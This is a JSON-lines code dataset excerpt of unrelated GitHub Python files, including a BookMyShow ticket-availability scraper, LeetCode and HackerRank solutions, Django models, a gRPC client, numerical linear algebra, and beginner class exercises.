base_url = \"https://in.bookmyshow.com\"\n headers = {\"user-agent\": \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.109 Safari/537.36\"}\n \n date_formatted = \"\".join(date.split(\"/\")[::-1])\n mov_name_formatted = \"-\".join(movie_name.lower().split())\n movie_code = get_movie_code(base_url, location, mov_name_formatted)\n while not movie_code:\n movie_code = get_movie_code(base_url, location, mov_name_formatted)\n\n location_code = codes[location.lower()]\n url = base_url + f\"/buytickets/{mov_name_formatted}-{location.lower()}/movie-{location_code}-{movie_code}-MT/{date_formatted}\"\n \n it = 0\n while True:\n it += 1\n r = requests.get(url, headers=headers)\n # print(url, r.url)\n if r.url == url:\n freq = 100\n dur = 50\n for i in range(0, 20):\n winsound.Beep(freq, dur)\n freq += 100\n dur += 50\n soup = BeautifulSoup(r.content, \"html.parser\")\n venue_list = soup.find(\"ul\", {\"id\": \"venuelist\"}).find_all(\"li\")\n\n translator = str.maketrans({chr(10): '', chr(9): ''})\n # name.translate(translator)\n\n for venue in venue_list:\n venue_name = venue.text.translate(translator)\n if venue_name.split()[0].rstrip(\":\").lower() == cinema_type.lower():\n print(base_url + venue.find(\"a\", {\"class\": \"__venue-name\"})[\"href\"])\n return\n print(\"Iteration\", it)\n sleep(15)\n\n\ndef find_code(url, res, mov_name_formatted):\n r = requests.get(url)\n soup = BeautifulSoup(r.content, \"html.parser\")\n movies_list = soup.find_all(\"a\", {\"class\": \"commonStyles__LinkWrapper-sc-133848s-11\"})\n for movies in movies_list:\n link = movies[\"href\"].split(\"/\")\n if len(link) > 1:\n res[link[-2]] = link[-1]\n if link[-2] == mov_name_formatted:\n return link[-1]\n return -1\n\n\ndef get_movie_code(base_url, location, mov_name_formatted):\n res = {}\n print(\"Getting movie code...\")\n url = base_url + f\"/explore/upcoming-movies-{location}?referrerBase=movies\"\n movie_code = find_code(url, res, mov_name_formatted)\n if movie_code != -1:\n return movie_code\n \n url = base_url + f\"/explore/movies-{location}\"\n movie_code = find_code(url, res, mov_name_formatted)\n # print(res)\n if movie_code != -1:\n return movie_code\n \n print(\"Movie code not found! Getting closest matches....\")\n matches = difflib.get_close_matches(mov_name_formatted, res.keys(), cutoff=0.8)\n if len(matches) > 0:\n print(\"Closet matches:\")\n for cnt, item in enumerate(matches):\n print(f\"{cnt} | {item} | {res[item]}\")\n \n ans = input(\"Enter index number of the closest match if the right movie is found(Y/N):\").lower()\n if ans == \"y\":\n idx = int(input(\"Enter the index: \"))\n return res[matches[idx]]\n elif ans == \"n\": \n # Example ET00315808\n while True:\n code = input(\"Enter the code of the movie manually(ET00XXXXXX): \").rstrip().lstrip()\n if bool(re.match(r\"ET00[0-9]{6}\", code)):\n return code\n print(\"Not valid code\")\n\n \n\ndef get_details():\n movie_name = input(\"Enter Movie Name\\n- Only Spaces no Special Characters\\n\")\n location = input(\"Enter City\\n- Enter Popular cities that appear on bookmyshow\\\n \\n- Enter full forms, example: National Captial Region instead of NCR\\n\")\n date = input(\"Enter date when movie is going to be released\\n- Enter a future date\\n- Format: DD/MM/YYYY strictly\\n\") # DD/MM/YYYY\n cinema_type = input(\"Enter theater type\\n- Example: INOX, Cinepolis, Carnival, Gold, etc\\n\")\n \n return [movie_name, location, date, cinema_type]\n # date_formatted = \"\".join(date.split(\"/\")[::-1])\n # mov_name_formatted = \"-\".join(movie_name.lower().split())\n # movie_code = get_movie_code(base_url, location, mov_name_formatted)\n\n\nif __name__ == \"__main__\":\n details = get_details()\n movie_name = details[0]\n location = details[1]\n date = details[2]\n cinema_type = details[3]\n # movie_name = \"Spider man No way Home\"\n # location = \"mumbai\"\n # date = \"16/12/2021\"\n # cinema_type = \"carnival\"\n\n if location.lower() == \"national capital region\":\n location = \"-\".join(location.lower().split()) + \"-ncr\"\n main(movie_name, location, date, cinema_type)\n\n\n","repo_name":"RevTpark/bms_scrapper","sub_path":"BookMyShow_Scrapping.py","file_name":"BookMyShow_Scrapping.py","file_ext":"py","file_size_in_byte":5146,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"18985217511","text":"# Definition for singly-linked list.\n# class ListNode(object):\n# def __init__(self, x):\n# self.val = x\n# self.next = None\n\nclass Solution(object):\n def __init__(self, head):\n \"\"\"\n @param head The linked list's head.\n Note that the head is guaranteed to be not null, so it contains at least one node.\n :type head: ListNode\n \"\"\"\n self.head = head\n self.length = self.get_length()\n\n def get_length(self):\n length, head = 0, self.head\n while head:\n length += 1\n head = head.next\n return length\n\n def getRandom(self):\n \"\"\"\n Returns a random node's value.\n :rtype: int\n \"\"\"\n import random\n num = random.choice(range(0, self.length))\n head = self.head\n while num:\n head = head.next\n num -= 1\n return head.val\n\n# Your Solution object will be instantiated and called as such:\n# obj = Solution(head)\n# param_1 = obj.getRandom()\n# -*- coding: utf-8 -*-\n","repo_name":"JushuangQiao/Python-LeetCode","sub_path":"400/382.py","file_name":"382.py","file_ext":"py","file_size_in_byte":1048,"program_lang":"python","lang":"en","doc_type":"code","stars":87,"dataset":"github-code","pt":"72"} +{"seq_id":"11626531519","text":"class Solution:\n def threeSum(self, nums: List[int]) -> List[List[int]]:\n \n res = []\n nums.sort()\n for i in range(len(nums)-2):\n if(i > 0 and nums[i] == nums[i-1]):\n continue\n currA = nums[i]\n left = i+1\n right = len(nums)-1\n while(left < right):\n if((currA + nums[left] + nums[right]) == 0):\n res.append([currA,nums[left],nums[right]])\n while left < right and nums[left] == nums[left+1]:\n left += 1\n while left < right and nums[right] == nums[right-1]:\n right -= 1\n left+=1\n right-=1\n elif((currA + nums[left] + nums[right]) < 0):\n left+=1\n else:\n right-=1\n return res","repo_name":"Rahul-shakya/LeetCode-Questions","sub_path":"3Sum.py","file_name":"3Sum.py","file_ext":"py","file_size_in_byte":901,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"3229551254","text":"# -*- coding: utf-8 -*-\r\n\r\n__author__ = 'liupeiyu'\r\n\r\n\r\nfrom core.jsonresponse import create_response\r\n\r\nfrom apps.module_api import get_app_link_url\r\n\r\n\r\ndef __get_stydy_plan_link_targets(request):\r\n\tpages = []\r\n\r\n\tpages.append(\r\n\t\t{\r\n\t\t\t'text': '课程列表',\r\n\t\t\t'value': get_app_link_url(request, 'shihuazhiye', 'mall', 'products', 'list')\r\n\t\t}\r\n\t)\r\n\t\r\n\r\n\treturn {\r\n\t\t'name': u'课程列表',\r\n\t\t'data': pages\r\n\t}\r\n\r\n\r\n########################################################################\r\n# get_link_targets: 获取可链接的目标\r\n########################################################################\r\ndef get_link_targets(request):\r\n\tret_link_targets = []\r\n\t\r\n\t#学习计划的链接\r\n\tret_link_targets.append(__get_stydy_plan_link_targets(request))\t\r\n\r\n\tresponse = create_response(200)\r\n\tresponse.data = ret_link_targets\r\n\treturn response.get_response()\r\n\r\n\r\n########################################################################\r\n# get_webapp_usage_link: 获得webapp使用情况的链接\r\n########################################################################\r\ndef get_webapp_usage_link(webapp_owner_id, member):\r\n\tworkspace_template_info = 'workspace_id=apps:shihuazhiye:mall&webapp_owner_id=%d&project_id=0' % webapp_owner_id\r\n\r\n\treturn {\r\n\t\t'name': u'我的课程',\r\n\t\t'link': './?module=apps:shihuazhiye:mall&model=order_list&action=get&type=0&%s' % workspace_template_info\r\n\t}\r\n","repo_name":"chengdg/weizoom","sub_path":"weapp/apps/customerized_apps/shihuazhiye/export.py","file_name":"export.py","file_ext":"py","file_size_in_byte":1407,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"41456845449","text":"#\n# @lc app=leetcode id=1030 lang=python3\n#\n# [1030] Matrix Cells in Distance Order\n#\n\n# @lc code=start\nclass Solution:\n def allCellsDistOrder(self, R: int, C: int, r0: int, c0: int) -> List[List[int]]:\n\n coords = []\n\n for i in range(R):\n for j in range(C):\n\n coords.append([i, j])\n\n coords.sort(key=lambda x: abs(x[0]-r0)+abs(x[1]-c0))\n\n return coords\n\n\n# @lc code=end\n","repo_name":"HOZH/leetCode","sub_path":"leetCodePython2020/1030.matrix-cells-in-distance-order.py","file_name":"1030.matrix-cells-in-distance-order.py","file_ext":"py","file_size_in_byte":427,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"72"} +{"seq_id":"28019144125","text":"\"\"\"\r\nチャネル入れ替え\r\nRGB→BGR\r\n\"\"\"\r\nimport cv2\r\n\r\nimg_original = cv2.imread(\"sample.jpg\")\r\nimg = img_original.copy()\r\n\r\nimg[:,:] = img[:,:, (2, 1, 0)]\r\n\r\ncv2.imwrite(\"q1.jpg\", img)\r\ncv2.imshow(\"ringo\", img)\r\ncv2.waitKey(0)\r\ncv2.destroyAllWindows()\r\n","repo_name":"tomotakaeru/OpenCV_knock100","sub_path":"q1.py","file_name":"q1.py","file_ext":"py","file_size_in_byte":260,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"19417500595","text":"import grpc\nfrom google.protobuf import any_pb2\n\nfrom profanedb.protobuf import db_pb2, db_pb2_grpc, storage_pb2\n\nimport test_pb2\n\ndef run():\n channel = grpc.insecure_channel('localhost:50051')\n stub = db_pb2_grpc.DbStub(channel)\n\n to_serialize = test_pb2.KeyInt(\n int_key = 12312\n )\n\n serializable = any_pb2.Any()\n serializable.Pack(to_serialize)\n\n stub.Put(db_pb2.PutReq(\n serializable = serializable\n ))\n\n key = storage_pb2.Key(\n message_type = \"schema.KeyInt\",\n field = \"int_key\",\n value = b\"12312\"\n )\n\n retrieved = stub.Get(db_pb2.GetReq(\n key = key\n ))\n\n retrieved_unpacked = test_pb2.KeyInt()\n\n retrieved.message.Unpack(retrieved_unpacked)\n\n print(retrieved_unpacked)\n\n\nif __name__ == '__main__':\n run()\n","repo_name":"profanedb/ProfaneDB","sub_path":"grpc_test/client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":817,"program_lang":"python","lang":"en","doc_type":"code","stars":55,"dataset":"github-code","pt":"72"} +{"seq_id":"17016498056","text":"from pylab import *\nfrom scipy.linalg import lu\n\ndef tridiagonal_to_lu(A, unitdiagonal='L'):\n assert unitdiagonal in ['L','U']\n\n n = A.shape[0]\n mask = ones((n,n))\n for i in range(n):\n mask[i,i] = 0\n if i>0: \n mask[i,i-1] = 0\n if i < n-1:\n mask[i,i+1] = 0\n\n assert any(mask*A)==False\n\n L = zeros(A.shape)\n U = zeros(A.shape)\n\n if unitdiagonal == 'U':\n # unit diagonal U\n for i in range(n):\n U[i,i] = 1\n \n L[0,0] = A[0,0]\n for i in range(1,n):\n L[i,i-1] = A[i,i-1]\n U[i-1,i] = A[i-1,i]/L[i-1,i-1]\n L[i,i] = A[i,i] - L[i,i-1] * U[i-1,i]\n\n else:\n # unit diagonal L\n for i in range(n):\n L[i,i] = 1\n \n U[0,0] = A[0,0]\n for i in range(1,n):\n U[i-1,i] = A[i-1,i]\n L[i,i-1] = A[i,i-1]/U[i-1,i-1]\n U[i,i] = A[i,i] - L[i,i-1] * U[i-1,i]\n\n return L,U\n\n\ndef test(A):\n print(\"our algo - U unit diagonal:\")\n l,u = tridiagonal_to_lu(A, unitdiagonal='U')\n print(l)\n print()\n print(u);print()\n print(l@u)\n print()\n \n \n print(\"our algo - L unit diagonal:\")\n l,u = tridiagonal_to_lu(A, unitdiagonal='L')\n print(l)\n print()\n print(u)\n print()\n print(l@u)\n \n print(\"scipy.linalg.lu:\")\n p, l, u = lu(A, permute_l=False)\n print(l)\n print()\n print(u)\n print()\n print(p@l@u)\n\nif __name__ == \"__main__\":\n A = array([\n [1, 2, 0, 0],\n [2, 1, 2, 0],\n [0, 2, 1, 2],\n [0, 0, 2, 1]\n ])\n\n\n test(A)\n \n","repo_name":"sampadbm/sampadbm.github.io","sub_path":"notes/math501-summer-2023/hw4/8.1-q1.py","file_name":"8.1-q1.py","file_ext":"py","file_size_in_byte":1618,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"39440760392","text":"#!/usr/bin/python3\n\nimport os\nimport sys\n\n# For last 2 test cases, To avoid\n# RecursionError: maximum recursion depth exceeded\nsys.setrecursionlimit(15000)\n\n\nclass Node:\n def __init__(self, info):\n self.info = info\n self.left = None\n self.right = None\n\n def __str__(self):\n return str(self.info)\n\n\ndef createBinaryTree(indexes):\n # create Binary Tree from indexes list\n # initialize all nodes with values 1 to n\n nodes = list()\n for i in range(len(indexes)):\n # indices start from 0\n nodes.append(Node(i+1))\n\n # prepare binary tree\n for index in range(len(indexes)):\n left = indexes[index][0]\n right = indexes[index][1]\n # take values from already initialized nodes\n nodes[index].left = None if left == -1 else nodes[left-1]\n nodes[index].right = None if right == -1 else nodes[right-1]\n\n # return root\n return nodes[0]\n\n\ndef inOrder(root, result):\n # Write your code here\n if not root:\n return result\n inOrder(root.left, result)\n # print(root.info, end=' ') # python3\n result.append(root.info)\n inOrder(root.right, result)\n return (result)\n\n\ndef swapEveryKLevel(root, level, k):\n if root is None or (root.left is None and\n root.right is None):\n return\n\n if ((level) % k == 0):\n root.left, root.right = root.right, root.left\n\n swapEveryKLevel(root.left, level+1, k)\n swapEveryKLevel(root.right, level+1, k)\n\n\ndef swapNodes(indexes, queries):\n # create Binary Tree\n root = createBinaryTree(indexes)\n finalResult = list()\n for k in queries:\n result = list()\n # import pdb; pdb.set_trace()\n swapEveryKLevel(root, 1, k)\n # print inorder\n finalResult.append(inOrder(root, result))\n return (finalResult)\n\n\nif __name__ == '__main__':\n n = int(input())\n\n indexes = []\n\n for _ in range(n):\n indexes.append(list(map(int, input().rstrip().split())))\n\n queries_count = int(input())\n\n queries = []\n\n for _ in range(queries_count):\n queries_item = int(input())\n queries.append(queries_item)\n\n result = swapNodes(indexes, queries)\n print(result)\n","repo_name":"hrishikeshtak/Coding_Practises_Solutions","sub_path":"hackerrank/Data-Structures/Trees/10-tree-swap-nodes-algo.py","file_name":"10-tree-swap-nodes-algo.py","file_ext":"py","file_size_in_byte":2211,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"29205619828","text":"from tkinter import*\r\nroot=Tk()\r\nroot.geometry(\"500x500\")\r\nroot.config(bg=\"lightblue\")\r\n\r\nbutton_1=Button(root,text=\"calcular cosas\")\r\nbutton_1.place(relx=0.5,rely=0.5,anchor=CENTER)\r\n\r\nclass clase(self):\r\n def a(self,mango,pago):\r\n self.b=mango\r\n self.pago=int(pago)\r\n self.var1 = 200\r\n \r\n def b(self):\r\n var2=self.pago*self.var1\r\n print(var2)\r\n \r\n\r\nroot.mainloop()","repo_name":"MathiuBYJUS/clase-177","sub_path":"clase177.py","file_name":"clase177.py","file_ext":"py","file_size_in_byte":417,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"8240012596","text":"import re\n\nfrom django.core.exceptions import ValidationError\nfrom django.db import models\nfrom django.db.models import Count\nfrom django.utils.translation import gettext_lazy as _\n\nfrom account.models import Organization, User\nfrom common.models import BaseModel\n\n\ndef validate_registration_plate(val):\n if not re.match(\"^[0-9]{2}[0-9]{3}[A-Z]{3}$\", val):\n raise ValidationError(\n \"Давлат рақамин нотоғри кирилтилди (Намуна: 01123ААА)\"\n )\n\n\nOUT = _(\"Ташқарида\")\nIN = _(\"Айвонда\")\n\nSTORAGE_CHOICES = (\n (OUT, _(\"Ташқарида\")),\n (IN, _(\"Айвонда\")),\n)\n\nGOOD = _(\"Соз\")\nBAD = _(\"Носоз\")\n\nTECH_STATE_CHOICES = ((GOOD, _(\"Соз\")), (BAD, _(\"Носоз\")))\n\nINSTALLED = _(\"Ўрнатилган\")\nNOT_INSTALLED = _(\"Ўрнатилмаган\")\n\nINSTALLED_GPS_STATUS = (\n (INSTALLED, _(\"Ўрнатилган\")),\n (NOT_INSTALLED, _(\"Ўрнатилмаган\")),\n)\n\n\nclass VehicleManager(models.Manager):\n def get_vehicle_with_regions(self, user):\n return (\n self.get_queryset()\n .filter(organization=user.organization)\n .order_by(\"-created_at\")\n )\n\n def get_vehicle_by_organization(self, organization):\n return (\n self.get_queryset()\n .all()\n .filter(organization=organization)\n # .order_by(\"-created_at\")\n )\n\n def get_count_by_organization(self):\n return (\n self.get_queryset()\n .values(\"organization__name\", \"organization__id\")\n .annotate(sum=Count(\"id\"))\n .exclude(\n organization__name__in=[\"Admin\", \"УП Ўзйулкукаламзорлаштири��\"]\n )\n .order_by(\"organization__id\")\n )\n\n def get_count_by_type_organization(self):\n return (\n self.get_queryset()\n .values(\"type__name\")\n .annotate(sum=Count(\"id\"))\n .values(\"organization\", \"sum\", \"type__name\")\n .order_by(\"type__name\")\n )\n\n\nclass VehicleTypes(BaseModel):\n name = models.CharField(max_length=255)\n added_by = models.ForeignKey(User, on_delete=models.PROTECT)\n\n def __str__(self):\n return self.name\n\n\nclass Vehicle(BaseModel):\n objects = VehicleManager()\n type = models.ForeignKey(\n VehicleTypes, on_delete=models.PROTECT, blank=True, null=True\n )\n name = models.CharField(max_length=255, blank=False, null=False)\n manufactured_date = models.DateField(blank=False, null=False)\n registration_plate = models.CharField(\n max_length=10,\n # validators=[validate_registration_plate],\n blank=True,\n null=True,\n unique=True,\n )\n GPS_status = models.CharField(\n choices=INSTALLED_GPS_STATUS,\n max_length=12,\n blank=False,\n null=False,\n default=NOT_INSTALLED,\n )\n storage_site = models.CharField(\n choices=STORAGE_CHOICES,\n max_length=15,\n blank=False,\n null=False,\n default=OUT,\n )\n tech_state = models.CharField(\n choices=TECH_STATE_CHOICES,\n max_length=5,\n default=GOOD,\n blank=True,\n null=True,\n )\n balance_value = models.FloatField(null=True, blank=True)\n aging_value = models.FloatField(null=True, blank=True)\n mileage_value_start_year = models.FloatField(null=True, blank=True)\n mileage_value_report_time = models.FloatField(null=True, blank=True)\n inventory = models.CharField(max_length=255, null=True, blank=True)\n added_by = models.ForeignKey(User, on_delete=models.CASCADE)\n organization = models.ForeignKey(Organization, on_delete=models.CASCADE)\n\n def __str__(self):\n return f\"{self.registration_plate}\"\n","repo_name":"incognito6479/kokalamzorlashtirish","sub_path":"src/vehicles/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":3802,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"1428330039","text":"import collections\nimport logging\nimport typing\n\nfrom substra.sdk import exceptions\nfrom substra.sdk import models\n\nlogger = logging.getLogger(__name__)\n\n\nclass InMemoryDb:\n \"\"\"In memory data db.\"\"\"\n\n def __init__(self):\n # assets stored per type and per key\n self._data = collections.defaultdict(dict)\n\n def add(self, asset):\n \"\"\"Add an asset.\"\"\"\n type_ = asset.__class__.type_\n key = getattr(asset, \"key\", None)\n if not key:\n key = asset.id\n if key in self._data[type_]:\n raise exceptions.KeyAlreadyExistsError(f\"The asset key {key} of type {type_} has already been used.\")\n self._data[type_][key] = asset\n logger.info(f\"{type_} with key '{key}' has been created.\")\n\n return asset\n\n def get(self, type_, key: str):\n \"\"\"Return asset.\"\"\"\n try:\n return self._data[type_][key]\n except KeyError:\n raise exceptions.NotFound(f\"Wrong pk {key}\", 404)\n\n def _match_asset(self, asset: models._Model, attribute: str, values: typing.Union[typing.Dict, typing.List]):\n \"\"\"Checks if an asset attributes matches the given values.\n For the metadata, it checks that all the given filters returns True (AND condition)\"\"\"\n if attribute == \"metadata\":\n metadata_conditions = []\n for value in values:\n if value[\"type\"] == models.MetadataFilterType.exists:\n metadata_conditions.append(value[\"key\"] in asset.metadata.keys())\n\n elif asset.metadata.get(value[\"key\"]) is None:\n # for is_equal and contains, if the key is not there then return False\n metadata_conditions.append(False)\n\n elif value[\"type\"] == models.MetadataFilterType.is_equal:\n metadata_conditions.append(str(value[\"value\"]) == str(asset.metadata[value[\"key\"]]))\n\n elif value[\"type\"] == models.MetadataFilterType.contains:\n metadata_conditions.append(str(value[\"value\"]) in str(asset.metadata.get(value[\"key\"])))\n else:\n raise NotImplementedError\n\n return all(metadata_conditions)\n\n return str(getattr(asset, attribute)) in values\n\n def _filter_assets(\n self, db_assets: typing.List[models._Model], filters: typing.Dict[str, typing.List[str]]\n ) -> typing.List[models._Model]:\n \"\"\"Return assets matching al the given filters\"\"\"\n\n matching_assets = [\n asset\n for asset in db_assets\n if all(self._match_asset(asset, attribute, values) for attribute, values in filters.items())\n ]\n return matching_assets\n\n def list(\n self, type_: str, filters: typing.Dict[str, typing.List[str]], order_by: str = None, ascending: bool = False\n ):\n \"\"\"List assets by filters.\n\n Args:\n asset_type (str): asset type. e.g. \"function\"\n filters (dict, optional): keys = attributes, values = list of values for this attribute.\n e.g. {\"name\": [\"name1\", \"name2\"]}. \",\" corresponds to an \"OR\". Defaults to None.\n order_by (str, optional): attribute name to order the results on. Defaults to None.\n e.g. \"name\" for an ordering on name.\n ascending (bool, optional): to reverse ordering. Defaults to False (descending order).\n\n Returns:\n List[Dict] : a List of assets (dicts)\n \"\"\"\n # get all assets of this type\n assets = list(self._data[type_].values())\n\n if filters:\n assets = self._filter_assets(assets, filters)\n if order_by:\n assets.sort(key=lambda x: getattr(x, order_by), reverse=(not ascending))\n\n return assets\n\n def update(self, asset):\n type_ = asset.__class__.type_\n key = asset.key\n\n if key not in self._data[type_]:\n raise exceptions.NotFound(f\"Wrong pk {key}\", 404)\n\n self._data[type_][key] = asset\n return\n\n\ndb = InMemoryDb()\n\n\ndef get_db():\n return db\n","repo_name":"Substra/substra","sub_path":"substra/sdk/backends/local/db.py","file_name":"db.py","file_ext":"py","file_size_in_byte":4088,"program_lang":"python","lang":"en","doc_type":"code","stars":262,"dataset":"github-code","pt":"72"} +{"seq_id":"41572039222","text":"import numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\n\nfileName = \"output_nt_2_deposited_energy.csv\"\n\naccuracy = 0.01\n\ndata = pd.read_csv(fileName, names=[\"E_kev\", \"l_um\", \"Z\", \"d_mm\", \"ID\"], comment=\"#\")\n\nsumE = data.groupby(['d_mm'])[\"E_kev\"].sum()\n\nE = sumE.to_numpy()\n\nE = E / np.amax(E)\n\nd = np.arange(len(E)) * accuracy\n\nplt.plot(d, E)\n\nplt.show()\n\nnp.savetxt(\"out.csv\", np.c_[d,E])\n","repo_name":"Jacopo-Surrey/waterPhantom","sub_path":"analysis.py","file_name":"analysis.py","file_ext":"py","file_size_in_byte":406,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"16396953399","text":"\"\"\"\nA codec suitable for decoding bytes which come from the internet with ill-defined encoding.\nWe first try to decode with utf8, then fall back to latin1 (latin1html5, really)\n\"\"\"\nimport codecs\nimport encodings.cp1252\nfrom typing import cast\nfrom typing import Tuple\n\nfrom typing_extensions import Protocol\n\n# -- Codec APIs --\n\nencode = codecs.utf_8_encode\n\n\ndef internet_decode(\n input: bytes, errors: str = \"strict\", final: bool = False\n) -> Tuple[str, int]:\n \"\"\"The core decoding function\"\"\"\n try:\n # First try utf-8. This should be the usual case by far.\n return codecs.utf_8_decode(input, errors, final)\n except UnicodeDecodeError:\n try:\n # If that fails, try windows-1252 (aka cp1252), which defines more characters than latin1,\n # but will fail for five particular bytes: 0x81, 0x8D, 0x8F, 0x90, 0x9D\n return codecs.charmap_decode(input, errors, encodings.cp1252.decoding_table)\n except UnicodeDecodeError:\n # and finally, try latin-1, which never fails, but defines 27 less characters than cp1252.\n return codecs.latin_1_decode(input, errors)\n\n\ndef decode(input: bytes, errors: str = \"strict\") -> Tuple[str, int]:\n return internet_decode(input, errors, True)\n\n\nclass IncrementalEncoder(codecs.IncrementalEncoder):\n def encode(self, input: str, final: bool = False) -> bytes:\n return codecs.utf_8_encode(input, self.errors)[0]\n\n\nclass IncrementalDecoder(codecs.BufferedIncrementalDecoder):\n def _buffer_decode(\n self, input: bytes, errors: str = \"strict\", final: bool = False\n ) -> Tuple[str, int]:\n return internet_decode(input, errors, final)\n\n\nclass StreamWriter(codecs.StreamWriter):\n def encode(self, input: str, errors: str = \"strict\") -> Tuple[bytes, int]:\n return codecs.utf_8_encode(input, errors)\n\n\nclass StreamReader(codecs.StreamReader):\n def decode(self, input: bytes, errors: str = \"strict\") -> Tuple[str, int]:\n return internet_decode(input, errors)\n\n\n# -- codecs API --\n\n# From typeshed.stdlibs.codecs\nclass _Encoder(Protocol):\n def __call__(\n self, input: str, errors: str = ...\n ) -> Tuple[bytes, int]: # pragma: no cover\n ... # signature of Codec().encode\n\n\ncodec_map = {\n \"internet\": codecs.CodecInfo(\n name=\"internet\",\n encode=cast(_Encoder, encode),\n decode=decode,\n incrementalencoder=IncrementalEncoder,\n incrementaldecoder=IncrementalDecoder,\n streamreader=StreamReader,\n streamwriter=StreamWriter,\n )\n}\n\n\ndef register() -> None:\n \"\"\"perform the codec registration.\"\"\"\n codecs.register(codec_map.get)\n","repo_name":"Yelp/yelp_encodings","sub_path":"yelp_encodings/internet.py","file_name":"internet.py","file_ext":"py","file_size_in_byte":2665,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"72"} +{"seq_id":"33780951880","text":"import sys\n\nfrom setuptools import setup, find_packages\n\ntry:\n from pip.req import parse_requirements\nexcept ImportError:\n from pip._internal.req import parse_requirements\n\nif sys.version_info[0] < 3:\n sys.exit('Sorry, onlt Python 3 is supported')\n\n\ninstall_reqs = parse_requirements('requirements.pip', session=False)\n\nreqs = [str(ir.req) for ir in install_reqs]\n\nsetup(\n name='md2jupyter',\n version='0.1',\n python_requires=\">=3.3\",\n packages=find_packages(),\n include_package_data=True,\n install_requires=reqs,\n entry_points='''\n [console_scripts]\n md2jupyter=md2jupyter.converter:convert\n ''',\n)\n","repo_name":"fogstream/md2jupyter","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":646,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"22127890886","text":"#---------------importing modules---------\nimport time\nimport sqlite3\nimport os\nimport admin_st\nimport school\nimport userportal\n\n#------------connection--------------\ncon=sqlite3.connect(\"SAMPLE.db\")\ncur=con.cursor()\n\n#-----------------------functions-------------\ndef startsession(u):\n #flag=0\n cur.execute(\"Select * from Admin where ADM_ID=?\",(u,))\n if cur.fetchall()!=[]:\n school.sys()\n admin_st.admin(u)\n else:\n cur.execute(\"Select * from Teacher where THR_ID=?\",(u,))\n if cur.fetchall()!=[]:\n school.sys()\n userportal.teacher(u)\n else:\n cur.execute(\"Select * from Student where STUD_ID=?\",(u,))\n if cur.fetchall()!=[]:\n school.sys()\n userportal.student(u)\n else:\n print(\"\\nInvalid User Id\")\n\ndef endsession(a,f):\n pass\n","repo_name":"SHERLOCKx90/Python-Programming","sub_path":"login.py","file_name":"login.py","file_ext":"py","file_size_in_byte":874,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"7847487794","text":"# 9.10/9.11\nfrom restaurant import Restaurant\nfrom user import User\nfrom admin import Admin\nfrom random import randint, choice\n\n# 9.1\nprint('\\n9.1\\n')\n\nrestaurant = Restaurant('Bzik', 'Regional')\nprint(restaurant.restaurant_name)\nprint(restaurant.cuisine_type)\n\nrestaurant.describe_restaurant()\nrestaurant.open_restaurant()\n\n# 9.2\nprint('\\n9.2\\n')\n\nrestaurant_2 = Restaurant('Pod wiezami', 'Dinners')\nrestaurant_3 = Restaurant('Hurry Carry', 'Indian')\n\nrestaurant_2.describe_restaurant()\nrestaurant_3.describe_restaurant()\n\n# 9.3\nprint('\\n9.3\\n')\n\nuser1 = User('f_user1', 'f_user1', 'admin', True, 'admin@admin.xx')\nuser2 = User('f_user2', 'f_user2', 'manager', False, 'manager@manager.xx')\n\nuser1.describe_user()\nuser1.greet_user()\n\nuser2.describe_user()\nuser2.greet_user()\n\n# 9.4\nprint('\\n9.4\\n')\nprint(restaurant.number_served)\nrestaurant.number_served = 10\nprint(restaurant.number_served)\n\nrestaurant_2.set_number_served(20)\nprint(restaurant_2.number_served)\n\nrestaurant_3.increment_number_served(30)\nprint(restaurant_3.number_served)\n\n# 9.5\nprint('\\n9.5\\n')\nnew_user = User('user3', 'user3', 'user', False, 'noemail@xx')\nnew_user.increment_login_attempts()\nnew_user.increment_login_attempts()\nnew_user.increment_login_attempts()\nprint(new_user.login_attempts)\nnew_user.reset_login_attempts()\nprint(new_user.login_attempts)\n\n# 9.6\nprint('\\n9.6\\n')\n\n\nclass IceCreamStand(Restaurant):\n def __init__(self, restaurant_name, cuisine_type, flavours):\n self.flavours = flavours\n super().__init__(restaurant_name, cuisine_type)\n\n def show_flavours(self):\n for flavour in self.flavours:\n print(flavour)\n\n\nice_cream_stand = IceCreamStand('Grycan', 'Italian ice creams', ['chocolate', 'vanilla'])\nice_cream_stand.show_flavours()\n\n# 9.7\nprint('\\n9.7\\n')\n\n\n# 9.8\nprint('\\n9.8\\n')\n\nadmin_1 = Admin('super', 'user', 'admin', True, 'admin@xx.com')\nadmin_1.privileges.show_privileges()\n\n\n# 9.13\nprint('\\n9.13\\n')\n\n\nclass Die:\n def __init__(self, sides):\n self.sides = sides\n\n def roll_die(self):\n print(randint(1, self.sides))\n\n\ndie_1 = Die(6)\n\nfor x in range(0, 10):\n die_1.roll_die()\n\ndie_2 = Die(10)\nfor x in range(0, 10):\n die_1.roll_die()\n\ndie_3 = Die(20)\nfor x in range(0, 10):\n die_1.roll_die()\n\n# 9.14\nprint('\\n9.14\\n')\n\n\ndef lottery():\n elements = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 'A', 'B', 'C', 'D', 